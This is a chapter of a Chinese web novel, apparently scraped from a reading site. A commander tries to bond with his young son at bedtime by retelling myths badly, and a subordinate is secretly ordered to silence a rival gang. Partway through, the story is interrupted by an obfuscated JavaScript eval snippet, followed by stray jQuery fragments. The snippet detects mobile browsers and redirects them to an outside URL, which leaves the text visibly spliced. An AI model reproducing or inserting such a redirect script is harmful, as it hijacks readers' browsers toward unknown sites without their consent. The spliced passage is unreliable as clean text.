贺乐言最终选定了那碗蛋羹做晚餐……的第一步。
其他可可爱爱的食物,他也每样都没放过。邓铁在旁边看得有些担心,怕他撑着,几次三番提醒。
贺琛原本觉得不算多,崽要长个子,当然得多吃,但邓铁提醒多了,闹得他也不放心起来,后面几样,他抢了一半填进自己肚子。
揣了一肚子小鸡小鸭小熊,贺琛被下属叫走处理了些公务,又到训练室加急完成他每天雷打不动的体能训练,步履匆匆,赶回他的宿舍。
准确说,他跟贺乐言的宿舍。
贺乐言已经在邓铁的照顾下洗好澡、换好睡衣,正坐在地毯上,跟邓铁玩一套拼图玩具。
“指挥官,您回来了?”见贺琛出现,邓铁很有眼力见儿地站起来,回头看向贺乐言,“乐言,剩下的让指挥官跟你拼吧,邓伯伯眼睛花,要去睡觉啦。”
贺乐言看一眼贺琛,乖乖点了头。
邓铁跟贺琛使了个眼风,静悄悄地退了出去。
贺琛站了一瞬,深吸口气,迈开长腿,走向地毯,和贺乐言保持着适中的距离,盘腿坐下来,尽量和声——并尽量自然问:“这是在拼什么?”
“小狗。”贺乐言低声答。
“小狗?你很喜欢狗狗?”贺琛打蛇随棍上,立刻追问。
贺乐言默默点了点头。
“小狗很好,我也喜欢。”贺琛说着,坐下来,试图参与进贺乐言的游戏,然而他拈起一枚拼图片,半天也没琢磨明白往哪儿放——
这东西他见过没玩儿过,一时还真不知道怎么放。
贺乐言看了他一眼,又看了他一眼,终于忍不住,给他指了指正确的空位。
“这里?”贺琛高高兴兴把碎片放上去。
贺乐言又放了下一片。贺琛连着观察两片,已经看出门路,跟贺乐言你一片、我一片,拼完了那只小狗。
成就感满满!
可是正当他拿起终端要拍张照,小孩儿已经抓起一把拼图片来,往玩具盒子里收。
“别!”贺琛出声阻止,但已经来不及了。
“我第一次拼拼图。”见贺乐言看他,他委屈巴巴地说。
贺乐言小手僵了僵,犹豫着要不要给他拼回来。
“我老早就盼着你能从医科院回来,这些玩具早就买好了,一直等着你玩,没想到你都这么大了,这些玩具是不是太简单幼稚了?”贺琛又可怜巴巴说。
这话怎么有点儿耳熟?连口气都很像……那个厨师王爷爷。
贺乐言觉得哪里怪,但还是郑重摇摇头:“不幼稚。”
贺琛暗暗弯了下唇角。
“不用再拼回去了。”看贺乐言拿着碎片真要往回拼,贺琛又一次阻止,并认真夸奖道,“你这个习惯特别好,玩过了自己收拾玩具。”
——育儿书上说了,对孩子好的行为要多肯定,可以帮助孩子强化善行,重要的,能让孩子开心。
贺琛悄悄看了眼贺乐言,没看出他开心,反而看见他变得有点儿蔫儿。
“怎么了,不舒服?”贺琛连忙问。
贺乐言摇摇头。
贺琛松了口气,他也觉得崽应该没生病,白天坐小飞机的时候挺正常,吃晚饭时看着也有胃口。
“那是怎么了,困了?”
贺乐言点点头,又摇摇头。
“是爸比教我要收拾的。”小孩儿低着头,闷闷说。
啊……原来是想他爸比了。贺琛有点儿没招,还有,那么一点点失落。
不过比起刚换环境不适应的崽,他的失落当然不值一提,他努力想着哄崽开心的办法,忽然看到茶几上放着几本硬壳壳五彩缤纷的图画书。
看到书,他又一下子想到“爸比”刚才发给他的提醒:乐言睡前爱看绘本。
他看了眼贺乐言,从茶几上拿起两本图画书:“要睡觉了,爸爸给你讲睡前故事。”
他说着,看贺乐言要摇头,急忙补了一句:“这是你爸比的交代!”
这俩字儿真好使。
贺乐言默默爬到了沙发上,手里抓着一个旧旧软软的灰白色小狼玩偶——爸比送他的,爸比说他爸爸的精神体就是这样一只狼。
很久以来,贺乐言一直以为贺琛的精神体真是跟他的玩偶一样可爱的狼……贺乐言想了想白天的大狼,威风凛凛但很委屈的大狼,咬了咬唇。
果然喜欢小狗啊。贺琛看了眼崽手中的玩具,默默记下来,捧着书,坐到崽旁边:“先讲这本好了,三只小猪。”
他愉快地开始了。读了两页,神色开始僵硬。又读了两页,神色更加僵硬。
“这只大灰狼应该是在跟小猪们玩吹房子的游戏。”
“不是,它想吃掉小猪。”贺乐言很认真解释。
“唔,它是只坏狼。”贺琛僵硬地说。“但不是所有狼都这么坏。”
“……”贺乐言沉默,握了握自己手中的小狼。
“……我们还是换一本读好了。”
贺琛抽出另一本书:《小红帽》。
从小流浪过活,贺琛没看过什么正经绘本,他不知道这些绘本里隐藏着那么大的……恶意。对狼的。
怎么狼是得罪你们童话家协会了吗?没有狼你们就写不出童话了?
读了半本《小红帽》,眼看大坏狼就要把外婆吃掉,贺琛脸绿绿地把书合上:“这些故事你都看过了,爸爸给你讲个你没听过的吧。”
他说着,回忆了下,脸上现出抹暖光。他小时候也不全是在流浪,被老头子捡回去养过几年,老头子给他讲过故事的,虽然翻来覆去就那几个。
“从前有一个——有一头神狼,它叫后羿,那时候,蓝星的天空上有十个太阳烘烤着大地,大家全都热得不得了,后羿就——”
“后羿就弯弓射箭,射下了九个太阳。”贺乐言开口,大眼睛清凌凌看着贺琛,“狼不会射箭。”
“谁说不会,神,神狼就会。”贺琛大手搓了搓裤子,“算了,这个你听过,我们再讲个别的。”
“从前啊,有一头巨狼,它叫夸父,”贺琛讲着,看了眼贺乐言的神色,见他竖着小耳朵在听,没有打断的意思,暗暗松了口气,安心继续,“那时候的蓝星呢,经常被黑暗笼罩,巨狼夸父就想追上太阳,让太阳一直照耀大地。”
“半路上这个夸父口渴,还喝光了两条大河的水,然后它就这样一直追,一直追,终于追上太阳,命令太阳每天必须站够岗……”
“不对。”贺乐言皱紧小眉头,“夸父没有追上太阳。”
“追上了——”
“没追上。未至,道渴而死。”
“什么?”贺琛愣了愣,“什么「可儿死」?”
“就是半道上渴死了。”贺乐言严肃着小脸解释,“爸比给我讲过。”
“你爸比讲错了。”贺琛很笃定地说。
“爸比才不会讲错!”贺乐言忽然有些激动,小脸涨红,“夸父是人,后羿也是人,你才讲错了!”
“那个,我是做了一点点改编——你去哪儿?”
“嘘嘘!”
贺琛笑了:“嘘嘘就嘘嘘,不用那么大声。”
贺乐言小脸更红了。
生气地嘘嘘完,他拒绝再听大坏蛋讲歪故事,独自爬上床:“我要睡觉了。”
“这就睡啊?时间还早,那个……你习惯挺好。”
贺琛说着,站在门口纠结一会儿,还是忍不住问:“真的……渴死了吗?”
自己爬上床,自己盖好小被被的贺乐言顿了顿,点了点头。
“也没……追上太阳?”
“没有。”
糟老头子……贺琛垂下头去,想笑,眼圈却有一瞬发红。说什么只要坚持,人人都能追到自己的太阳,原来都是骗他的……
贺乐言躺好,背对着笨蛋大怪物闭上了眼睛。心情却有点儿不对劲儿:大怪物怎么了?听自己说他讲错故事,难过了?
可是错了就是错了,骗小孩是不对的,他还说他轻易不撒谎……贺乐言想着,又忍不住想回过头来看看大怪物,但就在这时,他听见在原地站了一会儿的大怪物走过来,往上拉了拉自己的被子。
“那个,我其实还会讲别的故事,愚公移山你听过吗?还有那个,大愚治水——”
“是大禹。”贺乐言忍不住纠正了一句。
“不是愚公的儿子,大愚吗?”贺琛无辜。
贺乐言愣了一会儿,转过身来,不大确定地看了贺琛一眼,又低头看向终端:“我问问爸比。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295104|182707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不用了!”贺琛本能阻拦,但为时已晚——贺乐言大概本来就准备给他“爸比”打电话,终端就停留在通话界面,贺琛话出口时,他那头电话已经拨了出去,并立刻被接通……
“愚公这个名字只是寓言化的处理,代表愚公的个性,愚公就算有儿子,儿子真的姓愚,也应该叫「愚大」,不叫「大愚」。”电话那头传来不紧不慢、有条有理、一本正经的解释……
但贺琛敢发誓,对方此刻绝对没那么正经。
而贺乐言一边认真点头一边看贺琛,贺琛敢肯定,自己的形象在他心里矮了不下三十公分。
糟老头子误我……贺琛脚趾默默抠地,但脸很镇静:“知道了,晚安,早点睡,电话不要打太久。”
他乱七八糟交代了两句,落荒而逃。
*
“它在做什么?”
宿舍区的走廊上,忙完公务往回走的几个军官,看着走廊尽头的大狼,神色复杂顿住脚步。
太空港基本是厚重的合金打造,宿舍区也不例外,但出于人性化的考虑,在走廊尽头留了一个圆弧形大落地窗,从落地窗向外,可以看到近处的生态区、远处的悬浮轨道环,以及更远处的浩渺深空,不失为一个观景发呆的好去处。
此刻,指挥官贺琛的精神体雪狼就蹲坐在圆形大窗前,安静地、孤独地、四十五度角地仰望着窗外。
仰望一会儿,把硕大的头埋在窗帘里,很尴尬很没脸见人似的“呜呜”两声,扭动一会儿,然后又继续四十五度角仰望……
“这又是怎么了……”众人忍笑议论。
被簇拥在中间的向恒也勾了下唇,询问贺琛父子门口的守卫:“指挥官呢?”
“在里面。”守卫小声答。
“它呢,出来多久了?”向恒又问。
守卫顺着他目光看向大狼:“有一会儿了。”
有一会儿了?他自己知不知道?向恒蹙了下眉。
“向哥,怎么回事?老大的精神体最近现身有些频繁啊。”身后有军官低声问向恒。
“对啊,指挥官先前受那么重的伤,不会是留下了什么隐患吧?”有人敛了笑意,面露担心。
“不会,做过治疗了。”向恒沉稳答,“父子团聚,指挥官有些激动而已。行了,散了吧。”
向恒驱散众人,自己却在走廊又站了会儿,看大狼还没有消失的意思,他抬起手腕,预备唤醒终端提醒一下贺琛。
但终端刚刚亮起,就有一串加密的红色字符闪过。
向恒面色未变,但收起了终端。他看一眼贺琛房门,脚步一转,走回自己宿舍。
进了宿舍,合上门,向恒顿了一瞬,再度打开终端,输入密钥。
加密的红色字符翻滚,最终解码成一个简单的黑色对话框。
对话框一形成,立刻便出现了一行文字:【剿灭火狐,为什么不阻止?】
文字闪动着,那点微光,却照不亮向恒暗沉的眼底。
他静了一瞬,回复消息:【这次行动目标本来只是晟龙,中途不知发生了什么,他才突袭火狐。】
【你是说,你事先不知情,也没跟着行动?】
【是。】
【蠢货!】
【他是不是已经对你起了疑心?!】
对话框那头似乎有些气急败坏,向恒倒是依旧平静,平静地撒着谎:【没有起疑,他对我仍然十分信任,这次只是意外。】
【剿灭火狐,这也许是好事。】他继续打字。
【好?】
【三年前的事火狐损失惨重,他们胃口越来越大,已经不好控制。】向恒冷静输入。【丢掉一只不听话的火狐,正好可以换一只听话的。】
对话框那端沉默了片刻,发来消息:【灭口,不能让火狐攀咬我们。立刻做成这事,否则,后果你清楚。】
向恒又静了一瞬,回复:【是。】
对话框消散了。
向恒关了终端,打开灯,走到浴室,和平时毫无二致,开始解扣子、换衣服,有条不紊拿起牙刷刷牙。
面对镜子,面对镜子上贴着的四人军校合照的一瞬,他平静的眼底,才终于泛起一丝波澜。
对不起……他平静敛眸,忽然伸手,一拳打碎了镜子。